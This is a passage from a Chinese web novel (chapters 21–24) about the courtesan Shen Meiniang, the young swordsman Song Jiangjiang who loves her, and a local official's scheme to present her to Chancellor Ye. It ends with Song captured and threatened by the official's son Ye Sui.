“爹,你说什么啊?难道是仙人给你托梦了不成?”叶随没理解叶司马的深意。 见儿子实在是蠢过头了,叶司马只好说了实话:“你还记得,当年把沈美娘献给我的那个书生吗?” 叶随:“有点印象。” 他记得沈美娘是那个书生的贴身侍女来着。 当时沈美娘年岁尚小,只怕再大几岁,那人应该就会把她收为通房。 叶随喜欢上沈美娘后,也没少拿那书生试探她,听到沈美娘对那人毫不在意,还颇为怨恨后才放心。 可是这和爹不把沈美娘上献有何关系? 叶随不解:“那又怎么呢?不就是个父母双亡,寄人篱下的落魄书生吗?” “落魄书生?”叶司马冷笑一声,“人家本事可大着呢!如今他已是吏部侍郎,是谢党里数一数二的人物。我见到了,都得恭恭敬敬喊声‘沈大人’!” “人家不过及冠之年,便有如此作为,拜相不过是时间问题。你再看看你!”叶司马越说越生气。 叶随是真没想到短短六年时间,那个还需要给他爹行卷的书生,竟然能有这般作为。 他道:“这和沈美娘又有什么关系呢?” 叶司马回忆:“三年前沈美娘及笄时,我就想将她献给当时微服南州游玩的宁王殿下,却收到了那沈温的信件,让我照顾好沈美娘。” 沈温那时就已是从六品上的司封员外郎,还颇得谢党领袖谢阁老赏识。 他思来想去,觉得与其拿沈美娘去讨好一个无实权的王爷,不如讨好沈温。 叶司马就一直没将沈美娘献给其他人。 他叹了口气:“我倒没想到那沈温,竟然真的对沈美娘有几分真情……也算是成全他们这对有情人了。” “爹!可是……”叶随愤愤不平。 叶司马呵斥:“可是什么?你也去当个侍郎,爹保证今天就把沈美娘送给你!” 若是当年没答应还好,既然已经答应了沈温,那沈美娘要是在他手上出了差错,沈温绝对不会饶过他的。 叶随讨要沈美娘无果,还被叶司马骂了一顿,憋了一肚子气走了。 没得到沈美娘便也罢了,他却没想到还会挨他爹一顿训。 那个沈温有什么了不起的,就算如今是什么侍郎,当年还不是四处行卷,在他面前不也是点头哈腰、谄媚讨好吗? 如今却叫他压一头! 叶随心中不忿,想到沈美娘要被自己当年瞧不起的人要去,心中更是烦躁不已。 “备车马,去乐坊!”叶随不高兴就想找点事情做。 听闻最近乐坊新来了一批胡姬,之前几位好友就约过他。 如今心中烦闷,不如去消遣消遣。 - 沈美娘把一个包袱扔到宋江江怀里:“你之前被那黑店吞掉的财物,我都已帮你讨要回来了。” 宋江江喜出望外:“多谢!” 沈美娘挑眉:“就只是口头谢谢我啊?” 她可是帮这小剑客把他的东西都给要回来了,就连已经被那叶六处理的东西,她都让人赎回来了。 这小剑客还想一句轻描淡写的“谢谢“就想打发她?休想。 怎么也得亲亲她,再好好感谢她一番才成! 宋江江闻言一顿,又检点了一遍东西,竟把包袱里的金银财宝全都推到沈美娘面前:“都给你!” “给我?”沈美娘愣住。 这小剑客的这些东西少说也值几十两黄金,他竟说给就给了?! 宋江江眼里满是赤诚笑意:“我们以后是要做夫妻的,我的钱就该给你管才是。” 沈美娘:“那我可就不推辞啦。” 她揽过眼前的东西,想着得重新找个箱子装小剑客送她的东西。 不然要是把宋江江的东西和其他男人送她的东西放一块,被他知道了,肯定又不知道要内耗多久。 到时候还得她来哄。 沈美娘注意到宋江江把几本书从包袱里拿出来,疑惑:“你干什么?” 她就说这小剑客怎么这么大方,原来是把最值钱的什么孤本、手稿拿走了是吧。 宋江江解释:“之前我和你说的那几本书,你不是说让我最好烧了,或者能埋多深埋多深吗?” 妈妈当年留给他的书很多,有漫画、歌词本,还有一些札记、随笔什么的。 大部分都被他留在了宫里,他这次从宫里偷跑,只带了几本最重要的札记。 沈美娘这才想起这回事。 这小剑客天天说些不着边际的话,还动不动就是什么“自由”、“平等”的。 她倒是要看看这是什么圣贤书! 沈美娘让宋江江把书给她看,瞧起来和叶家那些圣贤书外观上是没什么区别。 她随便指着一本的封皮,问:“这写的什么?” 宋江江一个字一个字指给沈美娘,道:“《中小学生守则》。” 沈美娘还是不懂:“什么学生,什么守则?规则吗?还是律令?” 宋江江一点一点给沈美娘解释:“我阿娘那个世界的学校,不像我们这里分为州学、国子监、太学什么的,他们那里分成小学、中学、大学……” “《中小学生守则》就是那里十八岁以前的孩子应该遵守的道德上的规则,不遵守也不会蹲大狱。”宋江江尽量把话说成沈美娘能理解的内容。 “哦——”沈美娘随手翻了翻,“那里面写了什么呢?这么厚厚一本,那里的中小学生也太多要遵守的规矩了吧?好可怜哦。” “只有前两页是规则啦,后面都是我娘的写的一些个人见解,还有别的感悟之类的。”宋江江又指着上面的文字仔细道,“这条说的是‘勤劳笃行乐奉献’,这条说的是‘诚实守信有担当’,这条是……” 沈美娘听完宋江江给她的解释,算是明白这小剑客是怎么变成现在这模样的了。 她注意到这上面的字不是大燕的文字,但又很像,不过笔画简单了许多。 沈美娘对宋江江讲的那些“乐于奉献、助人为乐”的好品德没兴趣,不过倒是很喜欢这简化了的字。 她从前也不是没想过偷学识字,可是那些笔画繁复的字实在难学,眼前书本上的简化过后的字倒是好学得多。 唔……这么一想,小剑客说那个世界人人都有书读,似乎也是能实现的。 说不定就算是农户也能干完农活,趁着天还没黑,学学这种简单的文字。 “至于‘孝亲尊师’的意思就是说……沈娘子,你是不是没听我说话?”宋江江注意到沈美娘心思早就飞到九霄云外去了。 沈美娘连连否认:“没有,我两个耳朵都有认真听!你说的什么勤劳奉献,什么诚实守信,我都听到了,也都听懂了!小剑客,你讲的可真好!” 不过听到听懂是一回事,她照不照着做就是她的事了。 宋江江听到沈美娘的话,笑着点头:“好,沈娘子如此聪慧,定然很快就能学会的!” 沈美娘听到宋江江还想给她传授他的《中小学生守则》之道,急忙把话扯开:“那你打算怎么处理这些书呢?” 宋江江听到这话,眼睫微垂,投下一片阴影:“我不想烧掉这些东西,但沈娘子你放心,我会仔细保存,不叫旁人看到的。” 这些书上的文字和大燕的文字虽像,但到底还是有许多不同,还掺杂不少‘外文’,就是叫人捡去了也不大可能看得懂。 沈美娘这次没阻拦宋江江:“也好,那你记得防潮,南州这边潮得很,书很容易发霉的。” “好!”宋江江点头,“我还以为沈娘子会继续劝我烧掉……” 沈美娘打断他的话:“我是贪生怕死,喜欢荣华富贵,但我又不是冷血无情。这你亲娘留给你的书,既然不舍得,当然得好好留着啊。” “原来在小剑客你眼里,我竟是那种恶人?”沈美娘故意反问。 宋江江抱住沈美娘:“不是!沈娘子,是天底下最好的娘子!我只是觉得沈娘子说的也有道理……” “哦——”沈美娘意味深长,“你又内耗啦?” “没有!”宋江江很用力地摇头,“这些书和过往的经历构成了过去的我,让现在的我有机会和沈娘子相遇。” 少年仰起头看她,眼里是细碎明光:“而我的未来都属于沈娘子。” 是因为书和沈美娘都对他一样重要,他才会犹豫。 沈美娘皱眉:“叽里呱啦说什么呢?” 宋江江听到这话像是蔫掉的瓜果,瞬间失去了所有生机。 但下一刻,沈美娘就抱紧他,熟悉的香味将他温柔缠绕:“逗你的!” “拽一大堆我听不太懂的话,也不嫌麻烦。”沈美娘轻哼了一声,“说句喜欢就那么难?” 他那一堆有的没的,不就是说喜欢她吗? 宋江江愣了片刻,笑开:“我喜欢沈娘子!” 沈美娘有点嫌弃。 啧,怎么稍微哄他两句,就变成这副傻样。 不过——勉为其难忍忍他也行。 22、第22章 叶随约朋友出来喝花酒,酒过三巡,大家无不是酒酣耳热。 他怀里也搂了个胡姬,高鼻深目,肤白胜雪。 酒意让叶随暂时忘却得不到沈美娘的遗憾,可瞧着眼前的胡姬,他还是忍不住觉着这人差沈美娘一截,可是到底差在哪里他也说不上来。 “退下。”叶随挥退了怀里的胡姬。 与他交好的卢刺史家的公子,安慰他:“叶兄心里可还是挂念那姓沈的小娘子?唉,也是,那般美艳动人的美娇娘,竟要配给年逾不惑之人……” “什么?”叶随的酒意清醒了几分。 那卢公子也是喝多了,一时口无遮拦起来:“叶兄不是说叶司马要将沈美娘献给京中贵人吗?前些日子我爹说他收到叶丞相密文,说是不日将来南州一趟……” 卢公子:“我原以为叶丞相没告诉叶司马,没想到竟也告知了叶司马。” 叶随听到这话,酒意彻底褪去:“叶丞相?” 卢公子一副了然的神情:“叶丞相这次是微服密访,咱们俩家既然都知道,叶兄又何必遮遮掩掩的。” 他就说叶丞相毕竟是叶家人,就算叶丞相幼年失怙,宗族当年袖手旁观不说,还占了他爹留下的大笔家业。 但毕竟是一个家族的,打断骨头连着筋,叶丞相怎么可能来南州都不知会叶司马一声。 叶随可以肯定他爹是不知道叶丞相要来南州的。 不然他他爹肯定早就命人准备着了,而且……他们叶氏一族与叶丞相的关系,还真就是十分恶劣。 这么多年叶党排斥除叶丞相外的叶氏官员,谢党更是厌恶出了叶丞相这么个人的叶氏一族。 两党都不待见叶家人,也是他爹这么多年回不了京城的最大原因。 姓卢的不知道爹打算成全沈美娘和沈温,竟然还以为他爹是要把沈美娘送给叶丞相。 但是……这似乎也不是不可以。 与其叫那沈温抱得美人归,他倒宁愿沈美娘被送给叶丞相。 卢公子看叶随匆匆离开,问:“你去哪……不喝酒了吗?” 叶随一刻也没敢停,立刻赶回家去见他爹。 叶司马看叶随这酒气熏天的样子,皱眉生气:“你这是又去乐坊呢?!” “爹!”叶随打断他爹的责难,“叶丞相要到南州来了。” 叶司马听清楚叶随大着舌头说的话后,不可置信:“你说什么?” 叶随:“就是叶丞相,我三堂叔,他要到南州来,我今天亲耳听刺史家公子说的。” 他又把今夜与刺史家公子的话,细细与他爹说了一遍。 叶司马的眉毛却拧得更紧:“那又有何用?你也不是不知道,当年族里欺负人家孤儿寡母的事……” “爹,咱们毕竟是一家人,再说,您如今手里不是也有件宝物吗?”叶随道。 叶司马回过味来:“你是说……沈美娘?” 叶随点头:“爹,叶丞相府里连个姬妾都没有,这么多年怕也寂寞,你看美娘又生了副人见人爱的好面孔……万一事成,能与叶丞相缓和关系,岂不美哉?” “可我已经答应了沈温,那边怕是不好交代。”叶司马态度已经有了松动。 沈温早和他说好了,再过半个月就要来南州接沈美娘去京城,那边怕是不好交待。 但若是能与堂兄叶明舟和缓关系…… 叶随看出他爹也动了心思:“爹,那沈温可是谢党人,咱们和他交往过密,以后叶丞相不得更记恨咱们?况且,谢党就算明面上再接纳咱们,终究也忌惮咱们这个姓。” 叶司马深思了好一会儿:“你说的倒是有道理。” “你不是喜欢那沈美娘吗?你当真舍得?”叶司马问。 那叶丞相的年纪当沈美娘爹都绰绰有余。 叶随语气随意:“不过一个美人罢了。” 就算他得不到,别人也休想染指。 还不如拿去换前程。 - “宋江江,你当真不喝口果酒?”沈美娘晃了晃手里的酒壶,“是杨梅酿的,甜的,不会叫你醉晕过去的!” “不要!”宋江江如临大敌。 沈美娘撇撇嘴:“不喝算了,我多喝点。” 这小剑客是不是看什么“学生守则”真把脑子看晕了,居然连杨梅酒都不喝。 这可是宝儿刚摘了今年最新鲜的杨梅酿的,好喝得不得了。 宋江江想劝沈美娘少喝酒,可看她一个人喝了大半壶,还是毫无醉意。 他从想劝她别喝酒,变成了不理解她怎么能喝这么多酒。 沈美娘明白了宋江江的意思挑眉:“这酒压根就没什么酒味,喝烈酒都没几人喝得赢我,这才哪到哪。” 她说是这么说,但还是喝完手里那杯,就不再继续:“怕了你了。” 宋江江这才不再紧盯她。 “给。”他把醒酒茶递给沈美娘。 沈美娘接过一饮而尽:“原来成婚,就是找个人管着自己。” 茶水的暖意在四肢蔓延,确实比以前喝完酒更舒坦。 “不过嘛,倒也不错。”沈美娘咂咂嘴。 宋江江闻言浅笑:“你喜欢就好。” 院子里,有酒,有茶,还有时不时吹过泛着初秋寒意的凉风。 宋江江闻着淡淡的梅子香,混着沈美娘身上的浓香,不禁沉沦在这样的香气里 直到他注意到晒衣的架子后,在偷看和讨论他俩的宝儿和青词。 看起来主要是宝儿在说,青词在听。 “不用管她们,她们都信得过。”沈美娘懒洋洋趴在石桌上道。 宋江江发觉沈美娘有时候瞧着根本没上心,但好像对什么都了如指掌。 青词姑娘看起来安静温和,和那夜下手狠辣、刀刀致命的人根本就不像一个人。 但沈美娘既然在用她,就说明她应该有把握控制住青词吧? 他更关心另一件事:“你那夜同我说,会让青词和赵大郎处理叶六和黑店的事,如今应该处理得差不多了吧?” “嗯。”沈美娘答了一声,“你的包袱,我不是帮你拿回来了吗?” 宋江江又问:“那之前被拐的那些姑娘呢?官府可有查到?” “什么官府?”沈美娘这才坐直身子。 宋江江惊讶,他突然意识到沈美娘的“处理”,和他以为的“处理”可能根本不一样。 宋江江:“你没有报官吗?” “为何要报官?叶六的背后是叶家,我就是拿‘不报官’威胁他,才叫他没把那夜咱俩也在的事告诉叶随的。”沈美娘解释。 宋江江不可置信:“可是不报官,那些被卖掉的人,不就没人去救他们了吗?” “你以为报官有用吗?只要叶家在一天,你就是去报十次官,也没人救他们。”沈美娘道。 她感觉这个小剑客总是过于幼稚:“这天底下受苦受难的人多了去了,你以为你救得过来?” 沈美娘看到宋江江又红了眼眶,和上次听到她说那个文昭皇后坏话时,一模一样。 这个小剑客怎么总是为了不相干的人落泪? 宋江江死死盯着她,像是没想到她会说出这种话。 沈美娘有些心虚,可高傲的性格不允许她低头:“我没那么大的本事,我只能先保全我自己。” “‘兼济天下,悲悯众生’这种事,就算放传奇故事里,那也是皇帝、仙人、大官们该考虑的,不是我该忧虑的。”沈美娘依旧坚持她的观点。 她以为宋江江肯定会和她争辩起来,却没想到他今日格外平静:“既然你让人处理叶六,那叶六人呢?” 沈美娘:“你找他做什么?” 她想过宋江江会吵着闹着要报官,又或者会质问她为何如此无情,但她没想到他会问这个。 宋江江解答了沈美娘的疑惑:“我报官会拖累你,我不去报官,但我不能眼睁睁看着那些人受苦。” 他一字一句,格外认真:“我去救他们。” 听到宋江江的话,两人都陷入沉默。 不知过了多久,沈美娘笑出了声,起身走向躲在架子后的两人:“青词,告诉他叶六住哪里。” 她又吩咐宝儿:“今晚,不,接下来半个月都不用煮宋江江那份饭了!” 她放完狠话,就看到宋江江找青词问了叶六的住处。 他临走时,依依不舍看向沈美娘:“美娘,我不能无动于衷,我……” “我叫你去。”沈美娘冷冷道。 她没有分眼神给宋江江,直到宋江江提剑离开都没再看他一眼。 宝儿不懂两人刚才还亲亲我我喝梅子酒,怎么突然就能吵起来:“美娘,那小剑客说什么惹你生气了吗?” 她很少见到沈美娘这般生气的。 “没有。”沈美娘盯着宋江江离开的方向。 她只是发现宋江江的想法和她全然不同。 两个想法天差地别的人,真的可以在一起吗? 沈美娘目光沉沉:“我也想看看他到底能做到什么地步。” 天真幼稚到以为自己能拯救所有人,这种美梦——她十二岁的时候就不做了。 她倒要看看宋江江能做多久自以为是的大英雄。 23、第 23 章 沈美娘没想到那小剑客刚走,第二天司马府上就来人说要将她接回去。 她向总是跟在叶司马身边的小厮套话:“日后还需要回这里来吗?” 小厮今日格外好说话,话里话外都是对沈美娘的奉承:“自然不用了!沈娘子,你以后怕是前途无量了。” 这就是说,叶司马应该是找好上献的对象了。 沈美娘却没有她试想的那般开心。 明明她终于可以离开芙蓉谷,说不定还能离开南州,攀上新的大树,依托他的“枝蔓”,去瞧瞧更高更远的地方。 可是她心里一闪而过的,居然是那个小剑客红着眼眶、委屈巴巴看她的样子。 “沈娘子,请上车。” 他要是知道自己另投其他男人的怀抱,一定会红着眼质问她吧。 小厮的声音打断沈美娘的联想。 她望着眼前比从前多得多的侍女、小厮,也看到了离她越来越近的荣华富贵。 她和宋江江本来就不是一路人,也幸好他今日不在,否则指不定会惹出什么麻烦来。 “走吧。”沈美娘踩着凳子上了马车。 宝儿看沈美娘又笑了。 是沈美娘从前见谁都三分笑,就算被人指着鼻子骂“妖孽”、“猫鬼”和“祸水”,都依旧笑吟吟的样子。 宝儿发现她已经很久没见沈美娘这般笑过了。 好像自从那个宋江江出现,她就很少这般笑了,而是笑得开怀、热烈、爽朗。 可是现在一切又变回去了。 宝儿好像明白沈美娘此刻不高兴,她试探问:“美娘,咱们就这么回去了,宋少侠能找到我们吗?” 沈美娘嘴角笑意更深,目光却格外寒凉:“就算给他留线索又怎样?他要去做救人于水火的大侠,哪里有时间管我的死活。” 叶六做略人的勾当又不是一日两日,宋江江一个人救人,怕是救到明年都救不完。 宝儿见沈美娘心情低落,也不好再劝。 从竹屋回来后,沈美娘就被叶司马的人看管起来。 她看着院内密不透风的守卫,不由怀疑叶司马是不是真的打算把她献给皇帝——不然何至于如此警惕? 也不知道是怕她被叶随救走,还是怕她自己舍不得叶随主动逃跑。 早知道她就不装得那般喜欢叶随了,这就是做戏做过头的代价。 又过了十来日,叶司马终于来见她了。 沈美娘终于知道他这么做的原因了——叶司马打算把她献给叶丞相。 她没读过多少书,却也知道丞相是百官之长。 那些读书人毕生梦想都不过是“封侯拜相”四个字。 丞相就是天底下最高最高的官了。 除了,叶丞相年纪有些大了外,对沈美娘而言,这可真是“再好不过”的去处了。 叶司马仍旧是那副“慈爱”模样,劝慰她:“美娘,我知道你这样的美人都想着能配少年风流的公子。可叶丞相毕竟是当朝宰相,文采斐然,能够伺候他,也是你的福气。” 沈美娘笑得和婉:“奴都知道,主君为了能把奴献给叶司马,定然也是费了好一番功夫。” “是奴该感激大人的知遇之恩和栽培之恩才是。”沈美娘俯身向叶司马行大礼。 叶司马连忙将沈美娘扶起:“美娘不必如此。我也是拿你当女儿看待和培养的,你只管将这司马府当成你的娘家便是。” 沈美娘依旧是那副好说话的样子:“是。” 叶司马走后,沈美娘依旧该练舞练舞、该吃饭吃饭,就好像宋江江从未出现在她的生命里一样。 一切如常,直到叶丞相到南州的前一天,也是沈美娘会被送给叶丞相的前一天。 宝儿帮她端来今日要用的簪花,小声道:“沈美娘,要不你逃吧。” 沈美娘簪花的手一顿:“逃什么?我可是好不容易才等到这一天的。” “可是……你当真不想和那个宋江江在一起了吗?”宝儿问。 沈美娘盯着镜子里,衣着华美、妆容美艳的女人:“他忙着做大侠呢,我可不敢去打扰他。” 不知为何,宝儿总觉得沈美娘这句话里有股子怨气在。 但她不会劝人,也不懂小情侣之间的弯弯绕绕,她碰了碰青词:“你去劝劝娘子。” 素来温柔好脾气的青词却拒绝了她:“娘子心里有主意。” 宝儿无计可施,又陪着沈美娘耗过了一天。 已经入了秋,虽然司马府华丽,但沈美娘不知为何就是感觉这里比芙蓉谷的竹屋冷。 沈美娘这晚没有早睡,倚着纱窗,隔着朦胧的纱望向窗外的明月。 叶司马似乎很怕她逃跑,除了派人守着她外,就连屋内的窗户都让人上了锁。 也不知道该说叶司马是心虚,还是做事周全。 沈美娘猛灌了一口酒,不是之前逗那小剑客时喝的杨梅酒,是要烈得多的酒。她也没让人温过,直接就喝着冷酒。 终于有出人头地的机会了,她不是该很高兴才是吗? 她怎么没有预想的那般高兴呢? 沈美娘不解出神时,门外传来一阵兵刃交接的声音。 她有瞬间期待——会不会是小剑客来救她了。 但不过片刻她就否定了这荒谬的想法。 怎么可能呢? 这里可是司马府,里三层外三层守卫。 小剑客又不会神仙法术,他怎么敢来,又怎么可能成功呢? 沈美娘更害怕是有人要害自己,连忙用桌子将门抵住。 外面的打斗算不得激烈,很快就重归于沉静,看得出来闯入这里的人,并不想将事情闹大。 “沈美娘!” 少年的声音在黑夜里显得格外明显,只听得一阵剑刃凌空的声音,窗户上的锁应声而落。 沈美娘仰头看去,看到少年被温柔月色包裹,就像传奇故事里无所不能的大英雄般出现。 他伸出手:“走。” 沈美娘不受控制地走向宋江江,将手放到他的掌心。 少年掌心的温暖,就顺着她冰凉的指尖,蔓延到她的四肢、肺腑,直至心尖。 24-30 第24章 第24章她要荣华富贵。 沈美娘回握住宋江江的手,却很快被他手中的温暖激得清醒过来。 她迎着宋江江坚定的目光,注意到他脸上向外不断渗血的伤口,还有他身上浓得有些刺鼻的血腥味。 沈美娘不知道这血腥味是源自少年身上的伤口,还是那些护卫的血。 她问:“你把那些人都杀了吗?” 宋江江早有准备,邀功般笑:“没有!你不是说不要随便拔剑吗?我都没下死手,只是把人打晕了。” “是吗?”沈美娘语气沉沉。 宋江江这才发现,沈美娘似乎不想要他这个回答。 沈美娘又问:“你不是要去救那些人吗?这么快就救完呢?” 宋江江绽开一个明媚的笑容:“我找叶六问清楚了,他近期卖掉的人我都救了!还剩下的人,我后面会拜托别人帮忙。” 他是从宫里偷跑出来的,叶先生发现他不见了,肯定会追上来的。 自己到时候再将这件事托人告知叶先生,他肯定不会坐视不理的。 “我赶回竹屋时,发现你们都不见了。幸好赵娘子告诉我,你是被带回司马府了……我都听说了,叶司马要将你献给贵人,幸好、幸好我赶上了。”宋江江满脸庆幸。 沈美娘看他这般单纯,眼中的情绪越加复杂。 她早就习惯了被抛弃、被背叛,早就不相信任何人了。 可是,为何上天要在这时候,让她遇上宋江江。 宋江江又许诺:“美娘,我们逃吧!我们带着宝儿和青词,一起去我娘的家乡。如果到不了那里,我们就私奔到天涯海角!我会很努力挣钱,帮你脱贱籍,养活我们大家的!” 沈美娘默默不语,被宋江江眼中的真诚感染,有片刻动摇。 她闭了闭眸,再睁眼时,眼中又带上了三分笑意:“不。” 沈美娘笑着将手从宋江江的手中抽出:“小剑客,我要荣华富贵,你一个江湖剑客给得起吗?” 她的目光在少年染血的衣衫上流连,眼中却满是鄙夷和不屑。 宋江江听清沈美娘的话后,不可置信:“沈美娘,你这是又在逗我吗?” 他知道的,沈美娘最喜欢逗他了,总是说些奇怪的话惹他脸红、惹他心弦拨动。 宋江江无比希望,她这次还是在逗弄他。 “我可没闲心逗你。”沈美娘冷笑,“你真以为你娘的家乡存在?你当真以为我们能私奔?别说你那些可笑的想法了。” 沈美娘故意刺激宋江江,希望他能够知难而退。 他是个很好的人……但他给不了她想要的东西。 宋江江质问:“可是你不是都说了要和我成婚吗?” “对啊。”沈美娘很是爽快地回答,“我是答应要和你成婚,可我又没说要和你私奔,要为了你放弃荣华富贵。” 沈美娘伸手抚摸宋江江的脸:“我真的挺喜欢你的,你愿意的话也可以陪着我。” 沈美娘娇媚一笑,蛊惑道:“就算我被献给贵人又怎么样呢?我们还是可以做夫妻啊?反正那叶丞相也一把年纪了,肯定不会夜夜找我,他不在的时候咱们……” 她的话还没说完,就被宋江江攥紧她不安分的手,让沈美娘不能继续抚摸他的眉眼。 他像是没想到沈美娘会说出这种话:“你在胡言乱语些什么?” 原来从一开始,沈美娘就从没想过真的和他做夫妻吗? 沈美娘眨了眨她好看的眼睛,一脸无辜:“我没有胡言乱语,这样不好吗?贵人花钱养我,我再花钱养你,咱们就不用担心没钱用了。” 她没被宋江江捉住的那只手,柔柔搭上宋江江紧握着的手:“就算我和一百个男人上/床,那又有什么关系呢?反正我又不喜欢他们,我只喜欢你。” 宋江江听到沈美娘这句话,终于猛地甩开沈美娘的手。 他总是笑着的眉眼,此刻被暴戾和不解的情绪萦绕:“你根本就没喜欢过我!你这种人说爱情,根本就玷污了爱情。” “不。”沈美娘也被宋江江的话激起了怒气:“这也是爱,只是我和你不一样。” “我的爱不能只给你。我得分一大半给我自己,剩下的还得分给父母,最后再分给荣华富贵和你。宋江江,我已经给了你,我能给的最多的爱。”沈美娘一步步走向宋江江。 她哂笑:“宋江江,你以为你就有多爱我吗?” “你所谓的心动,所谓的喜欢,十之八/九不过都是我的算计。” 沈美娘笑意愈浓,宋江江却从她的笑容里品出一丝悲凉。 可沈美娘根本不给他开口的机会,先开了口:“你说你喜欢我,可是宋江江我告诉你,沈美娘从来就不只有娇媚、伶俐、生动这一面。” “你喜欢的这些,都是需要荣华富贵滋养的。我就是喜欢权势荣宠,就是爱慕虚荣,就是想要做人上人!”沈美娘拔高了声量。 沈美娘突然将系带一松,扒拉开整件上襦,大片的雪白肌肤暴露在宋江江眼前。 但此刻两个人谁也不服谁,让这个本该充满情/欲的动作,更像是一场剑拔弩张的对峙。 沈美娘用力拽住宋江江的手,贴到她胸口,她那颗满是欲望野心的心脏,隔着肌肤血肉,在宋江江的手下有力地跳动。 他无比清晰地感受到了沈美娘的“另一面”。 宋江江有些错愕。 不是讨厌,只是他发觉自己真的很没出息。 直面野心勃勃的沈美娘,他居然没那般生气了,还有些许理解她,甚至……他竟然愈加被她吸引。 “新”与“旧”的碰撞和争鸣,像“春/药”般让宋江江沉迷。 沈美娘却将宋江江的怔愣当成了厌恶。 她扯了个嘲讽意味的笑:“宋少侠,这才是完整的我,如果你做不到爱我的所有……” “那么,你根本不配说你爱我。” 沈美娘将他一把推开,自顾自整理起整理凌乱的衣裳。 “我……”宋江江想要解释。 他能接受乃至喜欢她的另一面,可是他确实给不了她要的荣华富贵。 宋江江不想回皇宫去。 他讨厌那里。 他更不能接受和沈美娘保持她说的那种关系,他做不到看沈美娘偎依在其他男人怀里,卖笑讨生。 沈美娘整理好好衣裳,就看到宋江江转身离去的背影。 看吧。 没人会喜欢真正的她,就算被她的美貌吸引来,就算被她的笑容留住,但只要看清她的真面目都不会再喜欢她的。 不过这次不一样。 这次是她亲手抛弃了不属于她的人。 宋江江却在刚走两步后,又回转过身来。 沈美娘看到他解下了腰间的玉佩。 那块她之前一直很好奇,却不好开口找宋江江要的玉佩。 “我没骗你,我爹确实是当的大官,你拿着这玉佩做信物,就能得到你想要的东西。”宋江江把玉佩放到沈美娘手里。 将玉佩放到她手中后,他又深深看了眼沈美娘,似乎想将她的容颜刻在脑海里般。 他道:“愿你所想皆可得——这句话的意思,就是我希望沈娘子你想要的,都可以得到。” 旋即,宋江江转身,头也不回地离开。 沈美娘怔怔望着他离去的方向,过了好一会儿,才将目光落回手里的玉佩上。 这是块上好的羊脂玉,雕的图样沈美娘不认识。 她只攥紧玉佩,像是要将它捏碎般。 半刻钟后,司马府的人才发现院子里的异常。 宋江江却早已离开了司马府。 他这段时间四处奔走救人,时不时往返于黑市,自然也听说了南州要来大官的事。 不过他确实没想到来人会是叶先生。 他原以为叶先生起码得再过两三个月,才能发现皇宫里那个“病重”的自己是暗卫假扮的。 不过正好,叶先生既然就是叶司马想要笼络的那个大官,那这件事也好办许多。 宋江江到卖书的铺子租了纸笔写下一封信。 他从黑市上打听到了卢刺史安顿叶丞相的地方,趁着夜色潜入府中。 他将信放到房中的书案上,思索片刻后,又解下腰畔的长剑放到案上。 叶先生肯定认识他的字迹,但字迹终究可以模仿,为了让叶先生彻底相信这封信的内容,他必须得留下信物来。 玉佩已经叫他给了沈美娘,那还能证明他身份的,就只有这把父亲在他学武时,命铸剑大师为他所铸的剑了。 宋江江放下一切,翻墙离开。 刚才招待叶丞相的宴会上,叶司马想把叶随推荐给叶丞相,没成想叶丞相考问了他一番,害他丢脸不成,还说他需继续进学。 叶随憋了一肚子气出来散步,没成想正好看到了宋江江一闪而过的背影。 他之前想除掉这人没成功不说,还被沈美娘知道损了他的面子,就连叶六现在也不敢替他再做事了。 新仇旧恨叠在一起,叶随又正缺个发泄怒气的人,立刻道:“跟上去!” 他这次要亲自给宋江江一个教训。 宋江江没能如计划那般带走沈美娘,整个人都有些不知所措。 他心里烦闷,就想着先出城散散心,他格外想去上次沈美娘带他去的水边。 那里的水很干净,环境也很清幽,而且……只要想到那里,他就会想起沈美娘为他跳舞的夜晚。 那晚的风温柔,月色皎洁,沈美娘看向他的目光也全是柔情。 可沈美娘说那些都是她刻意为之…… 不是的。 宋江江终于确信,他的喜欢根本就不是沈美娘说的那般,是被她引诱的。 他就是很喜欢沈美娘,喜欢她的恣意、潇洒,喜欢她得逞的笑,喜欢她轻佻的眉眼,也喜欢她的野心勃勃,她的不服输、不认命。 沈美娘的所有,他都无比喜欢。 他要去告诉她这件事。 他宋江江喜欢她沈美娘,跟什么引/诱、勾引都没关系,他才不是那么庸俗的人。 宋江江刚准备回城,就发觉了周围的不对劲儿。 有人在追他,听脚步声不像是一般人,更像是从小习武、会注意掩盖行踪的人。 宋江江佯装尚未察觉,目光却注意到了离他最近的一块石头。 在状似没有察觉地走了几步后,宋江江捡起地上的石头,凭着脚步声判断出来的方向砸了过去。 听到一阵惨叫后,宋江江向深林里跑去。 他眼下手中没有剑,来人有五六人,直接动手恐怕是打不过。 林中树木高大茂密,又有地形可以遮挡,或许还有可能成功。 但叶随这次找了好几个高手,宋江江的石头只打中了其中一个,另外四人很快挡在他身前。 宋江江与他们打斗起来,他赤手空拳,对方手里都有刀剑,难免有些不敌。 最重要的是,宋江江发现他身体变得虚弱了很多。 他从小就这样,身体时好时坏,连太医都看不出来原因。 上次在那家黑店时也是这样,当时如果不是突然变得虚弱,他也不会受那般重的伤。 只是在遇到沈美娘之后,他的身体好像又恢复正常了。 宋江江终究不敌几人,被他们按在地上动弹不得。 叶随这才从树后走上前来,像看蝼蚁般俯视宋江江:“上次叫你侥幸跑了,这次可就没那么幸运了。” 宋江江抬眼盯着叶随,没有如他所想的那般害怕恐惧,更像是全然没将他恐吓的话放在眼里。 这样的眼神无疑更激怒了叶随。 他拔/出其中一个杀手手中的剑,猛地扎在宋江江手上。 看到宋江江疼得忍不住晃了晃,他志得意满地笑了:“不是挺能耐吗?不是仗着你有身好本事,就在沈美娘面前露脸吗?” 宋江江总是带着笑意的眼,终于染上愤恨:“你这是要杀了我吗?” 叶随轻描淡写道:“不,那多便宜你。我待会儿就让人挑断你的手筋脚筋,再挖掉你的眼睛,叫你以后只能像条狗一样活着。” 宋江江问:“你做出这种事,你以为你就不会有报应吗?你以为天理昭昭,律法铁条就治不了你吗?” 叶随耸了耸肩:“在南州城,爷就是天理,爷说的话就是律法铁条!” 宋江江听到叶随的话,又想起沈美娘和她说的,叶六敢胡作非为就是因为有人撑腰的缘故。 娘亲果然就是骗他的,那些书也是哄他的。 这世上才没什么C市,才没什么明州仙山,更没有什么公理正义。 他坚持的所有东西根本就没有意义。 那些东西只会让他活得内耗、活得痛苦,让他连想帮助别人都心有余而力不足,让他就算……就算有了喜欢的姑娘,也不能给她想要的东西外,毫无价值。 那些所谓的自由平等、公理正义,都是不该存在的、无用的。 父皇说得对。 这世上,唯有权力才是最有用的。 有了权力,想要的,自然都会得到。 宋江江觉得身体似乎不像刚才那般虚弱,重新有了还手的力气。 